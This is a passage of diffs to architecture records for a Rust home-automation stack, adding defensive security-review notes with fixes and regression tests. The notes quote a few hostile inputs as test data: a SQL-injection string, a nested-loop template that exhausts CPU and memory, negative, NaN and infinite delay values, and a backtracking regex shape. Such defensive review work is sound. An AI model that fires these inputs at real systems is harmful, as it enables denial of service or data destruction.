| **P10** | Witness bundle + CSA-style spec compliance check | pending |
|
||||
|
||||
## 4.1 Crypto/security review notes (§2.2 witness chain — ADR-262 P2 prerequisite)
|
||||
|
||||
Beyond-SOTA crypto+security review of the SHA-256 + Ed25519 witness chain
|
||||
(`witness.rs` / `witness_signing.rs`) and the manifest signature surface
|
||||
(`manifest.rs`), because ADR-262 P2 proposes to **reuse this exact signing
|
||||
chain**. Top priority was the sibling `wifi-densepose-engine` bug class —
|
||||
unframed boundary-to-boundary concatenation of operator-influenceable strings
|
||||
into a signed/hashed digest.
|
||||
|
||||
- **Engine bug class ABSENT (good result, reported with byte evidence).**
|
||||
`canonical_bytes` is `DOMAIN_TAG ‖ prev_hash[32] ‖ seq:u64-be ‖ ts:u64-be ‖
|
||||
kind_len:u32-be ‖ kind ‖ payload_len:u32-be ‖ payload`. The two
|
||||
variable-length operator-influenceable fields (`kind`, `payload`) are
|
||||
**length-prefixed**; the fixed-width fields are self-delimiting → the
|
||||
encoding is injective (no two distinct event tuples share a preimage). The
|
||||
Ed25519 signature signs the **identical** bytes the SHA-256 chain commits to.
|
||||
No separate unframed concatenation exists; the manifest `binary_signature`
|
||||
is signed at build time (Makefile) over a single fixed-length `binary_sha256`
|
||||
hex value, not in-crate.
|
||||
|
||||
- **CHM-WIT-01 (FIXED) — domain-separation tag added.** The engine fix
|
||||
prescribed *domain-tag + length-prefix*; length-prefix was present, the
|
||||
domain tag was not. Added a versioned, NUL-terminated
|
||||
`WITNESS_DOMAIN_TAG = b"cog-ha-matter/witness-event/v1\x00"` prefix so the
|
||||
witness message can never be replayed as a message for another Ed25519
|
||||
context that shares key infrastructure (notably the manifest signature).
|
||||
**Witness bytes change by design** (prior on-disk hashes/signatures
|
||||
invalidated, as with the engine fix); verified safe because no in-repo crate
|
||||
consumes cog-ha-matter witness bytes programmatically (doc-mentions only).
|
||||
|
||||
- **CHM-WIT-02 (HARDENED) — `verify_signature` now uses `verify_strict`.** For
|
||||
an audit chain the signature is the attestation, so non-canonical encodings
|
||||
and small-order keys are rejected (RFC 8032 strict), giving the "one
|
||||
canonical signature per event" property. Not a forgery fix — the verifying
|
||||
key is caller-pinned, never read from the event.
|
||||
|
||||
- **Confirmed clean (with evidence):** verify-before-trust + key-pinning
|
||||
(`verify_signature` takes the verifying key as a parameter; `read_jsonl`
|
||||
re-derives every hash and chain-verifies); key handling (the crate never
|
||||
generates/stores/logs/serializes a signing key — only a documented test-only
|
||||
fixed seed; production keys come from the Seed secure store, out of scope);
|
||||
determinism (positional bytes, deterministic Ed25519, alphabetically-locked
|
||||
JSONL field order, sorted TXT records — no HashMap/float nondeterminism feeds
|
||||
any digest); fail-closed parsing (structured errors, no panics; `main.rs`
|
||||
reads no untrusted files/paths).
|
||||
|
||||
Tests: `cog-ha-matter --no-default-features` 64 → **68**, 0 failed (CHM-WIT-01
|
||||
pinned by 4 fails-on-old tests across `witness.rs`/`witness_signing.rs`;
|
||||
CHM-WIT-02 guarded by a key-pinning test). Python deterministic proof
|
||||
unchanged (cog-ha-matter is off the signal proof path).
|
||||
|
||||
## 5. References
|
||||
|
||||
- ADR-101 — `cog-pose-estimation` packaging precedent (signed binaries on GCS, .cog manifest)
|
||||
|
||||
@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
|
||||
|
||||
- `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
|
||||
- `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
|
||||
|
||||
---
|
||||
|
||||
## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
|
||||
|
||||
Foundational review of the `homecore` crate — the state store + event bus +
|
||||
service/entity registries every other HOMECORE module trusts. Same rigor as
|
||||
the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
|
||||
concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
|
||||
and lock-discipline dimensions confirmed clean with evidence.**
|
||||
|
||||
- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
|
||||
crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
|
||||
shard lock) → compute the next snapshot + the no-op / `last_changed`
|
||||
decision → `insert()` (re-acquiring the lock) → `send()`. The
|
||||
read-modify-write was **not atomic** w.r.t. a concurrent writer on the
|
||||
same entity, contradicting §2.1's promise that "the writer atomically
|
||||
replaces the map entry." A writer that read a stale `old` could
|
||||
mis-classify a genuine transition as a no-op and **drop its
|
||||
`state_changed` event** (a missed automation trigger) or fire an event
|
||||
whose `new_state` duplicated the previously delivered one (a spurious
|
||||
trigger for any automation keyed on `old_state != new_state`). **Fix:**
|
||||
hold the shard write-lock across the entire read→decide→insert→fire
|
||||
sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
|
||||
non-async, and never re-enters the map, so firing under the shard lock
|
||||
cannot deadlock and keeps global event order in lock-step with global
|
||||
commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
|
||||
(4 writers toggling one entity A/B; asserts no two consecutive fired
|
||||
events carry an identical `new_state` — impossible under correct
|
||||
serialisation; a probe observed ~93k such duplicate-adjacent events across
|
||||
200 trials on the racy code, zero on the fix).
|
||||
- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
|
||||
FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
|
||||
straight through `EntityId::parse`; with no length cap, an
|
||||
otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
|
||||
`POST /api/states/<giant>` would persist it into the DashMap state store
|
||||
(permanent growth across distinct ids). **Fix:** reject ids longer than
|
||||
`MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
|
||||
per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
|
||||
boundary type protects every caller. Pinned by `entity_id_length_boundary`
|
||||
(exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
|
||||
- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
|
||||
`ServiceRegistry::call` already ran handlers outside the registry lock (no
|
||||
`RwLock` poisoning, no blocking of other callers — clean), but a
|
||||
panicking handler unwound through `call()` into the caller's task. **Fix:**
|
||||
wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
|
||||
a panic to `ServiceError::HandlerPanicked`; the registry stays fully
|
||||
usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
|
||||
- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
|
||||
Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
|
||||
(capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
|
||||
(drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
|
||||
slow receivers**, so a lagging subscriber cannot block the publisher, grow
|
||||
the channel without bound, or take down a fast subscriber. Evidenced by
|
||||
`slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
|
||||
capacity at an idle subscriber; publisher unblocked, bus stays live).
|
||||
- **Lock ordering / lock-across-await (deadlock).** No code path holds two
|
||||
of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
|
||||
no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
|
||||
guard in `registry.rs`/`service.rs` is used in a single synchronous
|
||||
statement and dropped before any `.await`; `call` explicitly scopes the
|
||||
read guard out before awaiting the handler. The only guard held across a
|
||||
send is the DashMap shard lock in `set`, across a synchronous
|
||||
(non-await) broadcast send — safe.
|
||||
- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
|
||||
beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
|
||||
`split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
|
||||
|
||||
`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
|
||||
(+4 pins). Workspace green; Python deterministic proof unchanged
|
||||
(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
|
||||
- `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)
|
||||
|
||||
@@ -190,6 +190,23 @@ This is the same Wasmtime host already used for integration plugins (ADR-128)
|
||||
|
||||
---
|
||||
|
||||
## 8a. Security review (beyond-SOTA sweep, post ADR-154–159)
|
||||
|
||||
A focused security review of `homecore-automation` (the execution/eval surface — triggers → conditions → actions, with templates) was run after the ADR-154–159 sweep, applying the same rigor that the sibling engine/bfld/calibration/vitals/geo reviews used. **Two real DoS findings, each pinned by a fails-on-old test; the condition-bypass, fail-closed-parsing, and action-authorization dimensions were probed and found clean.**
|
||||
|
||||
- **HC-SEC-01 (template-injection / unbounded-expansion DoS, HIGH) — FIXED.** A `template:` condition / `value_template` is user automation config, and was rendered with MiniJinja's defaults: **no instruction budget, no output cap**. A single condition such as `{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}` rendered a **100 MB string over ~11 s on one render call** (measured) — a CPU/memory denial of service (the bfld-class "unbounded expansion"; MiniJinja's per-call `range()` 10k cap does **not** stop nested loops). **Fix:** enable MiniJinja's `fuel` feature and set a per-render budget (`set_fuel(Some(1_000_000))`) so a nested loop burns one unit per iteration — the attack now fails fast (~90 ms) with "engine ran out of fuel"; plus a 64 KiB source-length cap rejecting pathological sources before compilation. Legitimate HA templates (a few dozen instructions) are unaffected. Pinned by `nested_loop_template_is_bounded_not_unbounded_dos`, `single_huge_repeat_template_is_bounded`, `oversized_template_source_is_rejected` (all fail-on-old: unbounded render / no rejection), and `legitimate_template_still_renders_within_fuel` (no regression).
|
||||
- **HC-SEC-02 (panic-on-config DoS, MEDIUM) — FIXED.** `Action::Delay { seconds }` and `Action::WaitForTrigger { timeout_seconds }` fed the user-supplied float straight into `Duration::from_secs_f64`, which **panics** on negative, NaN, infinite, or overflowing inputs — all reachable from a crafted (or typo'd) YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`). One hostile config aborts the spawned automation run task with a panic (measured: "cannot convert float seconds to Duration: value is negative"). **Fix:** a `safe_duration_from_secs` guard that saturates instead of panicking (NaN/±inf/negative → `Duration::ZERO`, matching HA's lenient "non-positive delay = no delay"; absurdly large → clamped to ~100 years). Pinned by `delay_negative_seconds_does_not_panic`, `delay_nan_seconds_does_not_panic`, `delay_infinite_seconds_does_not_panic`, `wait_for_trigger_negative_timeout_does_not_panic`, `safe_duration_saturates_hostile_values` (incl. overflow clamp).
|
||||
|
||||
**Dimensions confirmed clean (with evidence):**
|
||||
- **Condition bypass / fail-closed eval** — a `Condition::Template` whose render errors evaluates to `false` (`condition.rs` `Err(_) => false`), and a `Choose` branch condition that fails to deserialize is treated as **non-matching** (the branch is skipped), not silently passing (`action.rs` `ChoiceBranch::matches` `Err(_) => return false`). Both fail **closed** (do-not-run), confirmed by the existing `choose_*` tests and template-false-blocks-action behavioral test. No true-by-default-on-parse-error path found.
|
||||
- **Re-entrancy / livelock (DoS)** — run-mode machinery is bounded and tested: `Single`/`IgnoreFirst` re-entrancy guard, `Restart` cancel-and-replace, `Queued` FIFO serialization, and `max: N` semaphore cap (ADR-162; `restart_mode_cancels_prior_run`, `queued_mode_runs_sequentially_not_concurrently`, `max_two_caps_concurrency_at_two`, `single_mode_does_not_double_fire_on_rapid_triggers`). A self-triggering automation does not livelock the engine — each fire is bounded by its run-mode.
|
||||
- **Action authorization** — templates are read-only sandboxed (`states`/`state_attr`/`is_state`/`now` globals; no service-call or state-set global is exposed to template scope), so a template cannot escalate into an action. Service authorization itself is enforced at the `homecore` service-registry boundary (out of this crate's scope); no gap found in what the automation crate enforces.
|
||||
- **Panic-on-config (parse)** — `serde_yaml`/`serde_json` deserialization returns structured `AutomationError` (no `unwrap`/`expect`/index reachable from a crafted config in the eval/exec path); the only remaining panic surface was the `from_secs_f64` path fixed as HC-SEC-02.
|
||||
|
||||
Validation: `cargo test -p homecore-automation --no-default-features` → 54 passed / 0 failed (+14 over baseline). Python deterministic proof unchanged (homecore-automation is off the signal-processing proof path).
|
||||
|
||||
---
|
||||
|
||||
## 9. References
|
||||
|
||||
### HA upstream
|
||||
|
||||
@@ -120,6 +120,42 @@ tested; P3 is planned.
|
||||
HOMECORE-API (ADR-130, P3); automation conditions on historical state are
|
||||
HOMECORE-automation (ADR-129, P3).
|
||||
|
||||
## 3a. Security review (2026-06, post-ADR-154–159 sweep)
|
||||
|
||||
A beyond-SOTA security review of `homecore-recorder` covered SQL injection, retention/purge
|
||||
correctness, fail-closed write integrity, semantic-store NaN poisoning, and PII exposure.
|
||||
|
||||
**Confirmed clean (with evidence):**
|
||||
|
||||
- **SQL injection — clean.** Every query in `db.rs` uses bound `?` parameters; no user- or
|
||||
entity-influenceable value is interpolated into SQL via `format!`/concatenation. The only
|
||||
`format!` builds the `LIKE` *pattern* string, which is itself **bound** as a parameter with
|
||||
`ESCAPE '\\'` and `% _ \` escaping — so a metacharacter payload is matched literally. Pinned
|
||||
by `malicious_entity_id_is_stored_literally_not_executed` (a `'; DROP TABLE states; --` state
|
||||
value leaves the table intact and round-trips verbatim) and
|
||||
`like_metacharacters_in_query_are_literal_not_wildcards`.
|
||||
- **NaN-index poisoning — structurally impossible.** Embeddings are SHA-256 → `i32` →
|
||||
`f32`; an `i32`→`f32` cast is always finite (never NaN/Inf), and an all-zero-digest is
|
||||
guarded by the `norm > 1e-10` check. Empty-index search, empty-string query, and `k=0` were
|
||||
probed and all return `Ok(0)` with no panic. (Unlike the calibration/vitals/geo paths, no raw
|
||||
sensor float ever reaches the index.)
|
||||
- **Fail-closed writes.** A removal event returns `Ok(None)`; semantic-index failure is logged,
|
||||
not propagated, so it never blocks the durable SQLite write; `EntityId` parse failure falls
|
||||
back to a sentinel rather than panicking.
|
||||
|
||||
**Fixed (real bounding bugs):**
|
||||
|
||||
- **Memory-DoS — `get_state_history` was unbounded.** No `LIMIT`, so a wide time window over a
|
||||
high-frequency entity loaded an unbounded row set into memory. Now capped at
|
||||
`MAX_HISTORY_ROWS` (1,000,000); sibling search paths were already `k`-bounded.
|
||||
- **Disk-DoS / documented-but-missing `purge`.** The README advertised `Recorder::purge`, but
|
||||
no retention path existed → unbounded disk growth. Added a **transactional** `purge(older_than)`
|
||||
with an **exclusive** cutoff (idempotent, no off-by-one) that deletes old `states`/`events` and
|
||||
GCs orphaned `state_attributes` blobs (dedup-shared blobs kept until their last referrer is gone).
|
||||
|
||||
`homecore-recorder` tests: 19 → 25 (`--no-default-features`) / 25 → 31 (`--features ruvector`),
|
||||
0 failed. Python deterministic proof unchanged (recorder is off the signal proof path).
|
||||
|
||||
## 4. Links
|
||||
|
||||
- Crate: `v2/crates/homecore-recorder/` — `Cargo.toml`, `README.md`, `src/lib.rs`,
|
||||
|
||||
@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
|
||||
| **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
|
||||
| **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
|
||||
| **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
|
||||
|
||||
---
|
||||
|
||||
## 6. Security review (beyond-SOTA, untrusted-input → action path)
|
||||
|
||||
A focused security review of the Assist pipeline — `utterance → recognizer →
|
||||
intent → handler → action`, plus `RufloRunner` — treating the utterance as
|
||||
untrusted input (voice transcripts, the WebSocket `assist` command). This
|
||||
surface was not covered by the ADR-154–159 sweep.
|
||||
|
||||
### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
|
||||
|
||||
Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
|
||||
accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
|
||||
clone) + a per-registered-pattern scan (and, in the semantic path, full
|
||||
tokenisation + feature-hash embedding) before any bound — an allocation/CPU
|
||||
amplification on attacker-controlled input. The `regex` crate is **linear-time**
|
||||
(RE2-style finite automaton, no catastrophic backtracking), so this was a
|
||||
throughput/memory DoS, not a hang.
|
||||
|
||||
**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
|
||||
checked at **both** recognizer boundaries *before* any allocation/scan. An
|
||||
over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
|
||||
identical to an unrecognised phrase — so it can never be coerced into firing a
|
||||
handler. Pinned by `over_length_utterance_fails_closed` (an over-length
|
||||
utterance that *contains* a valid command resolves to `None`, which would have
|
||||
matched on the old code) and `over_length_utterance_fails_closed_semantic`.
|
||||
|
||||
### 6.2 Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
|
||||
has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
|
||||
local recognizer, no process). There is **no** `std::process` / `tokio::process`
|
||||
/ `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
|
||||
only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
|
||||
are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
|
||||
genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
|
||||
class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
|
||||
when an injection-shaped utterance resolves (the regex is not exact-anchored),
|
||||
the captured slot is a clean token — sanitisation by construction. Pins:
|
||||
`shell_metachars_never_survive_into_a_resolved_slot`,
|
||||
`runner_opts_are_inert_no_process_spawned`,
|
||||
`pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
|
||||
- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
|
||||
dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
|
||||
completes in bounded time. Pin:
|
||||
`pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
|
||||
operator-registered, not user-supplied, in any case.
|
||||
- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
|
||||
only `&str` and produces values via FNV feature-hashing + a guarded L2
|
||||
normalise (`norm > 1e-12`); no external float input, no unguarded division, so
|
||||
a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
|
||||
against the zero vector is a finite `0.0`; an empty index `max_by` returns
|
||||
`None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
|
||||
place. Pins: `embeddings_are_structurally_finite`,
|
||||
`cosine_with_zero_vector_is_finite_not_nan`,
|
||||
`empty_utterance_against_empty_index_no_panic_no_match`.
|
||||
- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
|
||||
(no service call); a recognised intent with no registered handler →
|
||||
`not_understood()`; semantic below-threshold / empty-index → regex fallback.
|
||||
No default high-privilege intent, no fail-open path.
|
||||
- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
|
||||
utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
|
||||
the append-only exemplar `Vec` (no remove API), so it is always in bounds.
|
||||
|
||||
`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
|
||||
default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
|
||||
unchanged (homecore-assist is off the signal proof path).
|
||||
|
||||
@@ -495,3 +495,34 @@ Rejected. `ViewpointFusionEvent` (viewpoint/fusion.rs lines 183–219) is an int
|
||||
**Integration glue -- not yet on the live path:** emission of `CalibrationIdMismatch` / `DriftProfileConflict` / `PhaseAlignmentFailed` once `calibration_id` propagation and the phase-align convergence signal are threaded onto frames; the BFLD witness record emitted on privacy demotion.
|
||||
|
||||
**Trust contribution:** sensor *agreement made explicit* -- fusion records the evidence it relied on, and any disagreement automatically tightens the downstream privacy class.
|
||||
|
||||
---
|
||||
|
||||
## Witness Integrity Review (2026-06-14) — domain-separation fix
|
||||
|
||||
A beyond-SOTA security review of `wifi-densepose-engine` (the composition root
|
||||
that builds the §2.7 trust witness in `witness_of`) found a real **witness
|
||||
domain-separation gap**, now fixed.
|
||||
|
||||
**Finding (witness-gap, HIGH).** `witness_of` concatenated `model_version`,
|
||||
`calibration_version`, and `privacy_decision` boundary-to-boundary, and the
|
||||
variable-length `evidence` list carried no explicit count. A string straddling a
|
||||
field boundary therefore collided with a *different* trust decision —
|
||||
e.g. a per-room adapter id (ADR-150 §3.4, operator-influenceable) that absorbs
|
||||
the leading bytes of the calibration epoch (`model="…cal:00a"`, `cal="b"`)
|
||||
produces the **same** witness as `model="…"`, `cal="cal:00ab"`. Two distinct
|
||||
privacy-relevant input tuples → one witness defeats the "any privacy-relevant
|
||||
delta → different witness" guarantee this ADR's §2.7 witness exists to provide.
|
||||
|
||||
**Fix.** The witness now (a) prepends a domain tag `ruview.engine.witness.v1`,
|
||||
(b) writes an explicit 8-byte evidence count, and (c) **length-prefixes every
|
||||
field** (8-byte LE length ‖ bytes), so field framing is unambiguous regardless
|
||||
of contents. This is a witness-layout change (all prior witness bytes are
|
||||
invalidated by design); downstream consumers only assert witness *relationships*
|
||||
(`assert_ne`/`assert_eq` across runs), not absolute bytes, so nothing breaks.
|
||||
|
||||
Pinned by `witness_distinguishes_model_calibration_boundary` and
|
||||
`witness_distinguishes_evidence_model_boundary` (both fail on the old
|
||||
concatenation). Witness **determinism** was reviewed and confirmed clean: no
|
||||
HashMap iteration and no float formatting feed the hash (floats appear only in
|
||||
the `SemanticState` statement, which is outside the witness).
|
||||
|
||||
@@ -599,3 +599,53 @@ Per ADR-028/ADR-010, three rows are added to the witness log:
|
||||
**Integration glue -- not yet on the live path:** wiring the registry into `PrivacyGate` class transitions, the MQTT discovery payload, and a read-only Home Assistant diagnostic entity exposing the active mode + proof hash.
|
||||
|
||||
**Trust contribution:** the *policy spine* -- privacy posture is a tamper-evident, auditable chain rather than a checkbox; an operator's mode choice actively governs whether identity data may even exist.
|
||||
|
||||
---
|
||||
|
||||
## Privacy Monotonicity Review (2026-06-14) — confirmed clean
|
||||
|
||||
A beyond-SOTA security review of the governed-trust cycle
|
||||
(`wifi-densepose-engine::StreamingEngine::process_cycle_calibrated`) examined
|
||||
the privacy-demotion path this ADR governs. **The monotonicity invariant holds:
|
||||
demotion only ever makes the emitted class more restrictive, never less.**
|
||||
|
||||
Verification (no behaviour change, the result is a clean bill with evidence):
|
||||
|
||||
- Each cycle computes `effective_class` fresh from the active mode's
|
||||
`target_class()` (the floor) and applies at most a **single-step** demotion
|
||||
(`demote_one`, clamped at `Restricted`). There is no cross-cycle state that
|
||||
could let a permissive class overwrite a restrictive one.
|
||||
- A forced contradiction (calibration mismatch / array-geometry insufficiency /
|
||||
mesh partition risk, ADR-032) raises the class byte; a clean cycle emits
|
||||
exactly the base class.
|
||||
- Pinned by `forced_contradiction_never_relaxes_class`, a property test over
|
||||
**all five** `PrivacyMode`s asserting `effective_class.as_u8() >=
|
||||
base_class.as_u8()` (strictly greater unless already clamped at `Restricted`)
|
||||
under a forced contradiction, and `== base` on a clean cycle.
|
||||
|
||||
Fail-closed boundaries were also pinned: an empty cycle errors (no degenerate
|
||||
over-permissive output, `empty_cycle_fails_closed`) and the single-node boundary
|
||||
is characterized as a valid non-demoting mode (`single_node_cycle_is_well_formed`).
|
||||
|
||||
The related witness domain-separation fix from the same review is recorded in
|
||||
ADR-137 (the witness folds `effective_class`, so the demotion is auditable).
|
||||
## Security & Privacy Review (2026-06-14)
|
||||
|
||||
Beyond-SOTA privacy+security review of `wifi-densepose-bfld` (the crate was not in the ADR-154–159 sweep). Two real bugs fixed (each pinned by a fails-on-old test), several dimensions confirmed clean.
|
||||
|
||||
### Findings
|
||||
|
||||
| # | Severity | Site | Issue | Fix | Pinned by |
|
||||
|---|----------|------|-------|-----|-----------|
|
||||
| 1 | **privacy-bypass (HIGH)** | `pipeline.rs::process_to_frame` | The documented wire-bytes production path stamped the frame header with the active `PrivacyClass` but serialized the caller's `BfldPayload` **unchanged** via `BfldFrame::from_payload` — never routing through `PrivacyGate::demote`. A frame labeled `Anonymous`(2)/`Restricted`(3) carried the full `compressed_angle_matrix` (identity surface) + amplitude/phase + `csi_delta`. A `NetworkSink` accepts class ≥ `Derived`(1), so the identity surface could cross the node boundary despite the restrictive class byte — the byte lied about content. | Apply `PrivacyGate::demote(frame, active_class)` after construction: a same-class transition that strips the sections the class forbids; `Raw`/`Derived` keep the full payload. | `tests/pipeline_to_frame.rs::process_to_frame_at_anonymous_strips_identity_leaky_sections`, `…_in_privacy_mode_strips_amplitude_and_phase` (both FAILED pre-fix); `…_at_derived_preserves_full_payload` (over-strip guard) |
|
||||
| 2 | **PII/injection (MEDIUM)** | `mqtt_topics.rs::render_events` | `zone_activity` payload built as `format!("\"{zone}\"")` with no JSON escaping (while `ha_discovery.rs` already escapes). A zone name with `"`/`\` produced malformed/injectable JSON on the HA state topic. | `json_string_literal()` escaper mirroring `ha_discovery::push_str_field`. Value-identical for normal zone names. | `tests/mqtt_topic_routing.rs::zone_payload_escapes_json_metacharacters` (FAILED pre-fix) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
- **Event-field privacy gating** — `BfldEvent::apply_privacy_gating` nulls `identity_risk_score` + `rf_signature_hash` at `Restricted`, and `serde(skip_serializing_if = "Option::is_none")` omits them entirely. `render_events`/`render_discovery_payloads` refuse class < `Anonymous` (stricter than the `sink.rs` `NetworkKind` `MIN_CLASS = Derived` — defense in depth toward less leakage). Covered by `event_privacy_gating.rs`, `mqtt_topic_routing.rs`, `ha_discovery.rs`.
|
||||
- **Witness/hash framing (the engine `witness_of` bug class)** — CLEAN. `SignatureHasher::compute` prefixes a **fixed 4-byte** `day_epoch` then a **fixed-width canonical-f32** feature block (`IdentityFeatures`: Embedding = `EMBEDDING_DIM*4`, RiskFactors = 16 B). `PrivacyAttestationProof::compute` hashes a fixed 32-byte `prev_hash` + three fixed 1-byte values. No variable-length operator-influenceable string is concatenated into any digest — no length-prefix-framing collision is possible.
|
||||
- **Fail-closed** — `payload.rs::from_bytes` rejects truncated/overflowing/trailing-byte sections (`checked_add`, bounds checks); `frame.rs::from_bytes` validates magic/version/length/CRC; `PrivacyClass::try_from` rejects unknown bytes; `identity_risk::score` maps NaN/degenerate factors → 0.0 (privacy-conservative). The `from_score(NaN) → Accept` choice is a documented, deliberate publish-aggregate-only fallback (NaN never reaches it from `score()`); risk-driven NaN cannot leak identity because identity gating is class-byte-driven, not risk-driven.
|
||||
|
||||
### Observation (not a bug)
|
||||
|
||||
The ADR-141 control plane (`PrivacyMode`/`PrivacyModeRegistry`) is **not yet wired into the emit path** — the emitter/pipeline enforce the raw `PrivacyClass` directly; the registry is exported + unit-tested but advisory. This matches the "Integration glue — not yet on the live path" status above. The class-byte enforcement (emitter + event + renderers + the now-fixed `process_to_frame`) is the live guarantee. Wiring the registry is the documented next step.
|
||||
|
||||
@@ -253,6 +253,54 @@ Validation per CLAUDE.md: `cargo test --workspace --no-default-features` green;
|
||||
|
||||
---
|
||||
|
||||
## 6. Review notes
|
||||
|
||||
### 6.1 Correctness + security review (2026-06-14)
|
||||
|
||||
Beyond-SOTA correctness+security review of `wifi-densepose-calibration` (this
|
||||
ADR's pipeline), un-covered by the ADR-154–159 sweep.
|
||||
|
||||
**Finding (FIXED) — NaN-poisoning of the feature path (numerical / fail-closed).**
|
||||
`Features::from_series` — the carrier for both live inference and training-anchor
|
||||
extraction — computed `mean`/`variance`/`motion` over the raw scalar series with
|
||||
no non-finite guard. A single `NaN`/`±inf` sample (corrupt CSI frame) yielded
|
||||
`mean=NaN, variance=NaN` and an all-`NaN` prototype embedding. Persisted into a
|
||||
`PresenceSpecialist::threshold`/`empty_mean` at train time, the `NaN` **silently
|
||||
disabled presence detection** for the bank's lifetime (every `>` / `|·|`
|
||||
comparison against `NaN` is false → always reads *absent*, confidence 0), with no
|
||||
error — and an asymmetry against the rigorously NaN-guarded `geometry_embedding`.
|
||||
Fixed at the production boundary: non-finite samples are dropped (a corrupt frame
|
||||
counts as no frame), an all-non-finite series degrades to `Features::ZERO` like
|
||||
the empty series. Value-identical for all-finite input (full-loop + extract tests
|
||||
unchanged); pinned by `non_finite_samples_do_not_poison_features` and
|
||||
`all_non_finite_series_is_zero` (both fail on the old code).
|
||||
|
||||
**Clean dimensions (evidence, no invented issues).**
|
||||
- *File/path handling:* the crate performs **zero** file/path I/O (no
|
||||
`std::fs`/`Path`/`File`/`read`/`write` in `src/`; only in-memory `serde_json`).
|
||||
Path-traversal / unbounded-read / artifact-path handling live entirely in the
|
||||
`wifi-densepose-cli` consumer (`room.rs`), outside this crate's boundary.
|
||||
- *Untrusted-load:* `SpecialistBank::from_json` shape-validates via serde
|
||||
(malformed → `CalibrationError::Serde`); banks are local-first (invariant B),
|
||||
never network-received. A well-formed bank with adversarial numerics is trusted
|
||||
as-is — acceptable under the local-first threat model; a validate-on-load
|
||||
defense-in-depth pass is a possible future hardening, not a present bug.
|
||||
- *Receipt/hash integrity:* the crate emits no hash/receipt/witness/signature, so
|
||||
the unframed-concatenation bug class (cf. the engine `witness_of` fix) is
|
||||
structurally absent.
|
||||
- *Other numerical paths:* `geometry_embedding` sanitizes every input and sweeps
|
||||
to finite; presence/restlessness/anomaly divisions are `.max(1e-3)`-guarded;
|
||||
`autocorr_dominant` guards `r0`, short signals, and empty bands; `train` rejects
|
||||
empty anchors; anomaly requires ≥2 anchors.
|
||||
|
||||
De-magicked the bare specialist threshold literals (breathing/heartbeat default
|
||||
min-scores, anomaly outlier-spread multiple + label cutoff) into named documented
|
||||
consts, value-identical, pinned by const-equality tests. Tests
|
||||
